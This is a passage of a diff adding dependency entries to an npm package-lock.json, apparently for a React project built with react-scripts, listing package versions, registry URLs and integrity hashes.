+      "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==",
+      "dependencies": {
+        "@babel/code-frame": "^7.16.0",
+        "address": "^1.1.2",
+        "browserslist": "^4.18.1",
+        "chalk": "^4.1.2",
+        "cross-spawn": "^7.0.3",
+        "detect-port-alt": "^1.1.6",
+        "escape-string-regexp": "^4.0.0",
+        "filesize": "^8.0.6",
+        "find-up": "^5.0.0",
+        "fork-ts-checker-webpack-plugin": "^6.5.0",
+        "global-modules": "^2.0.0",
+        "globby": "^11.0.4",
+        "gzip-size": "^6.0.0",
+        "immer": "^9.0.7",
+        "is-root": "^2.1.0",
+        "loader-utils": "^3.2.0",
+        "open": "^8.4.0",
+        "pkg-up": "^3.1.0",
+        "prompts": "^2.4.2",
+        "react-error-overlay": "^6.0.11",
+        "recursive-readdir": "^2.2.2",
+        "shell-quote": "^1.7.3",
+        "strip-ansi": "^6.0.1",
+        "text-table": "^0.2.0"
+      },
+      "engines": {
+        "node": ">=14"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/@babel/code-frame": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz",
+      "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==",
+      "dependencies": {
+        "@babel/highlight": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/@babel/helper-validator-identifier": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz",
+      "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/@babel/highlight": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz",
+      "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "chalk": "^2.0.0",
+        "js-tokens": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/@babel/highlight/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/@babel/highlight/node_modules/escape-string-regexp": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+      "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/chalk/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/chalk/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/chalk/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/chalk/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/escape-string-regexp": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+      "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/loader-utils": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.2.1.tgz",
+      "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw==",
+      "engines": {
+        "node": ">= 12.13.0"
+      }
+    },
+    "node_modules/react-dev-utils/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/react-dom": {
+      "version": "17.0.2",
+      "resolved": "https://registry.nlark.com/react-dom/download/react-dom-17.0.2.tgz",
+      "integrity": "sha1-7P+2hF462Nv83EmPDQqTlzZQLCM=",
+      "peer": true,
+      "dependencies": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1",
+        "scheduler": "^0.20.2"
+      },
+      "peerDependencies": {
+        "react": "17.0.2"
+      }
+    },
+    "node_modules/react-error-overlay": {
+      "version": "6.0.11",
+      "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.11.tgz",
+      "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg=="
+    },
+    "node_modules/react-is": {
+      "version": "16.13.1",
+      "resolved": "https://registry.nlark.com/react-is/download/react-is-16.13.1.tgz",
+      "integrity": "sha1-eJcppNw23imZ3BVt1sHZwYzqVqQ="
+    },
+    "node_modules/react-lifecycles-compat": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npm.taobao.org/react-lifecycles-compat/download/react-lifecycles-compat-3.0.4.tgz",
+      "integrity": "sha1-TxonOv38jzSIqMUWv9p4+HI1I2I="
+    },
+    "node_modules/react-overlays": {
+      "version": "5.0.1",
+      "resolved": "https://registry.nlark.com/react-overlays/download/react-overlays-5.0.1.tgz",
+      "integrity": "sha1-fiw808BTgEiwt0UdIDsSicVht/I=",
+      "dependencies": {
+        "@babel/runtime": "^7.13.8",
+        "@popperjs/core": "^2.8.6",
+        "@restart/hooks": "^0.3.26",
+        "@types/warning": "^3.0.0",
+        "dom-helpers": "^5.2.0",
+        "prop-types": "^15.7.2",
+        "uncontrollable": "^7.2.1",
+        "warning": "^4.0.3"
+      },
+      "peerDependencies": {
+        "react": ">=16.3.0",
+        "react-dom": ">=16.3.0"
+      }
+    },
+    "node_modules/react-refresh": {
+      "version": "0.11.0",
+      "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz",
+      "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==",
+      "peer": true,
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/react-scripts": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-5.0.1.tgz",
+      "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==",
+      "dependencies": {
+        "@babel/core": "^7.16.0",
+        "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3",
+        "@svgr/webpack": "^5.5.0",
+        "babel-jest": "^27.4.2",
+        "babel-loader": "^8.2.3",
+        "babel-plugin-named-asset-import": "^0.3.8",
+        "babel-preset-react-app": "^10.0.1",
+        "bfj": "^7.0.2",
+        "browserslist": "^4.18.1",
+        "camelcase": "^6.2.1",
+        "case-sensitive-paths-webpack-plugin": "^2.4.0",
+        "css-loader": "^6.5.1",
+        "css-minimizer-webpack-plugin": "^3.2.0",
+        "dotenv": "^10.0.0",
+        "dotenv-expand": "^5.1.0",
+        "eslint": "^8.3.0",
+        "eslint-config-react-app": "^7.0.1",
+        "eslint-webpack-plugin": "^3.1.1",
+        "file-loader": "^6.2.0",
+        "fs-extra": "^10.0.0",
+        "html-webpack-plugin": "^5.5.0",
+        "identity-obj-proxy": "^3.0.0",
+        "jest": "^27.4.3",
+        "jest-resolve": "^27.4.2",
+        "jest-watch-typeahead": "^1.0.0",
+        "mini-css-extract-plugin": "^2.4.5",
+        "postcss": "^8.4.4",
+        "postcss-flexbugs-fixes": "^5.0.2",
+        "postcss-loader": "^6.2.1",
+        "postcss-normalize": "^10.0.1",
+        "postcss-preset-env": "^7.0.1",
+        "prompts": "^2.4.2",
+        "react-app-polyfill": "^3.0.0",
+        "react-dev-utils": "^12.0.1",
+        "react-refresh": "^0.11.0",
+        "resolve": "^1.20.0",
+        "resolve-url-loader": "^4.0.0",
+        "sass-loader": "^12.3.0",
+        "semver": "^7.3.5",
+        "source-map-loader": "^3.0.0",
+        "style-loader": "^3.3.1",
+        "tailwindcss": "^3.0.2",
+        "terser-webpack-plugin": "^5.2.5",
+        "webpack": "^5.64.4",
+        "webpack-dev-server": "^4.6.0",
+        "webpack-manifest-plugin": "^4.0.2",
+        "workbox-webpack-plugin": "^6.4.1"
+      },
+      "bin": {
+        "react-scripts": "bin/react-scripts.js"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "^2.3.2"
+      },
+      "peerDependencies": {
+        "react": ">= 16",
+        "typescript": "^3.2.1 || ^4"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/react-transition-group": {
+      "version": "4.4.2",
+      "resolved": "https://registry.nlark.com/react-transition-group/download/react-transition-group-4.4.2.tgz",
+      "integrity": "sha1-i1mlbwnO17VcvVPDZ2i5IokNVHA=",
+      "dependencies": {
+        "@babel/runtime": "^7.5.5",
+        "dom-helpers": "^5.0.1",
+        "loose-envify": "^1.4.0",
+        "prop-types": "^15.6.2"
+      },
+      "peerDependencies": {
+        "react": ">=16.6.0",
+        "react-dom": ">=16.6.0"
+      }
+    },
+    "node_modules/read-cache": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+      "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+      "dependencies": {
+        "pify": "^2.3.0"
+      }
+    },
+    "node_modules/readable-stream": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+      "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+      "dependencies": {
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/readdirp": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+      "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+      "dependencies": {
+        "picomatch": "^2.2.1"
+      },
+      "engines": {
+        "node": ">=8.10.0"
+      }
+    },
+    "node_modules/recursive-readdir": {
+      "version": "2.2.2",
+      "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.2.tgz",
+      "integrity": "sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg==",
+      "dependencies": {
+        "minimatch": "3.0.4"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/recursive-readdir/node_modules/minimatch": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
+      "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/redent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.nlark.com/redent/download/redent-3.0.0.tgz?cache=0&sync_timestamp=1620070119923&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fredent%2Fdownload%2Fredent-3.0.0.tgz",
+      "integrity": "sha1-5Ve3mYMWu1PJ8fVvpiY1LGljBZ8=",
+      "dependencies": {
+        "indent-string": "^4.0.0",
+        "strip-indent": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/regenerate": {
+      "version": "1.4.2",
+      "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
+      "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A=="
+    },
+    "node_modules/regenerate-unicode-properties": {
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz",
+      "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==",
+      "dependencies": {
+        "regenerate": "^1.4.2"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/regenerator-runtime": {
+      "version": "0.13.7",
+      "resolved": "https://registry.npm.taobao.org/regenerator-runtime/download/regenerator-runtime-0.13.7.tgz",
+      "integrity": "sha1-ysLazIoepnX+qrrriugziYrkb1U="
+    },
+    "node_modules/regenerator-transform": {
+      "version": "0.15.0",
+      "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.0.tgz",
+      "integrity": "sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==",
+      "dependencies": {
+        "@babel/runtime": "^7.8.4"
+      }
+    },
+    "node_modules/regex-parser": {
+      "version": "2.2.11",
+      "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.2.11.tgz",
+      "integrity": "sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q=="
+    },
+    "node_modules/regexp.prototype.flags": {
+      "version": "1.4.3",
+      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.4.3.tgz",
+      "integrity": "sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "functions-have-names": "^1.2.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/regexpp": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz",
+      "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==",
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/mysticatea"
+      }
+    },
+    "node_modules/regexpu-core": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.2.1.tgz",
+      "integrity": "sha512-HrnlNtpvqP1Xkb28tMhBUO2EbyUHdQlsnlAhzWcwHy8WJR53UWr7/MAvqrsQKMbV4qdpv03oTMG8iIhfsPFktQ==",
+      "dependencies": {
+        "regenerate": "^1.4.2",
+        "regenerate-unicode-properties": "^10.1.0",
+        "regjsgen": "^0.7.1",
+        "regjsparser": "^0.9.1",
+        "unicode-match-property-ecmascript": "^2.0.0",
+        "unicode-match-property-value-ecmascript": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/regjsgen": {
+      "version": "0.7.1",
+      "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.7.1.tgz",
+      "integrity": "sha512-RAt+8H2ZEzHeYWxZ3H2z6tF18zyyOnlcdaafLrm21Bguj7uZy6ULibiAFdXEtKQY4Sy7wDTwDiOazasMLc4KPA=="
+    },
+    "node_modules/regjsparser": {
+      "version": "0.9.1",
+      "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz",
+      "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==",
+      "dependencies": {
+        "jsesc": "~0.5.0"
+      },
+      "bin": {
+        "regjsparser": "bin/parser"
+      }
+    },
+    "node_modules/regjsparser/node_modules/jsesc": {
+      "version": "0.5.0",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz",
+      "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==",
+      "bin": {
+        "jsesc": "bin/jsesc"
+      }
+    },
+    "node_modules/relateurl": {
+      "version": "0.2.7",
+      "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz",
+      "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==",
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/renderkid": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz",
+      "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==",
+      "dependencies": {
+        "css-select": "^4.1.3",
+        "dom-converter": "^0.2.0",
+        "htmlparser2": "^6.1.0",
+        "lodash": "^4.17.21",
+        "strip-ansi": "^6.0.1"
+      }
+    },
+    "node_modules/renderkid/node_modules/css-select": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz",
+      "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==",
+      "dependencies": {
+        "boolbase": "^1.0.0",
+        "css-what": "^6.0.1",
+        "domhandler": "^4.3.1",
+        "domutils": "^2.8.0",
+        "nth-check": "^2.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/renderkid/node_modules/css-what": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
+      "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==",
+      "engines": {
+        "node": ">= 6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/renderkid/node_modules/dom-serializer": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
+      "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
+      "dependencies": {
+        "domelementtype": "^2.0.1",
+        "domhandler": "^4.2.0",
+        "entities": "^2.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
+      }
+    },
+    "node_modules/renderkid/node_modules/domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ]
+    },
+    "node_modules/renderkid/node_modules/domutils": {
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
+      "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
+      "dependencies": {
+        "dom-serializer": "^1.0.1",
+        "domelementtype": "^2.2.0",
+        "domhandler": "^4.2.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domutils?sponsor=1"
+      }
+    },
+    "node_modules/renderkid/node_modules/nth-check": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
+      "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
+      "dependencies": {
+        "boolbase": "^1.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/nth-check?sponsor=1"
+      }
+    },
+    "node_modules/require-directory": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
+      "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/require-from-string": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
+      "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/requires-port": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
+      "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="
+    },
+    "node_modules/resolve": {
+      "version": "1.22.1",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz",
+      "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==",
+      "dependencies": {
+        "is-core-module": "^2.9.0",
+        "path-parse": "^1.0.7",
+        "supports-preserve-symlinks-flag": "^1.0.0"
+      },
+      "bin": {
+        "resolve": "bin/resolve"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/resolve-cwd": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz",
+      "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==",
+      "dependencies": {
+        "resolve-from": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/resolve-cwd/node_modules/resolve-from": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+      "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/resolve-from": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+      "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/resolve-url-loader": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz",
+      "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==",
+      "dependencies": {
+        "adjust-sourcemap-loader": "^4.0.0",
+        "convert-source-map": "^1.7.0",
+        "loader-utils": "^2.0.0",
+        "postcss": "^7.0.35",
+        "source-map": "0.6.1"
+      },
+      "engines": {
+        "node": ">=8.9"
+      },
+      "peerDependencies": {
+        "rework": "1.0.1",
+        "rework-visit": "1.0.0"
+      },
+      "peerDependenciesMeta": {
+        "rework": {
+          "optional": true
+        },
+        "rework-visit": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/resolve-url-loader/node_modules/picocolors": {
+      "version": "0.2.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
+      "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA=="
+    },
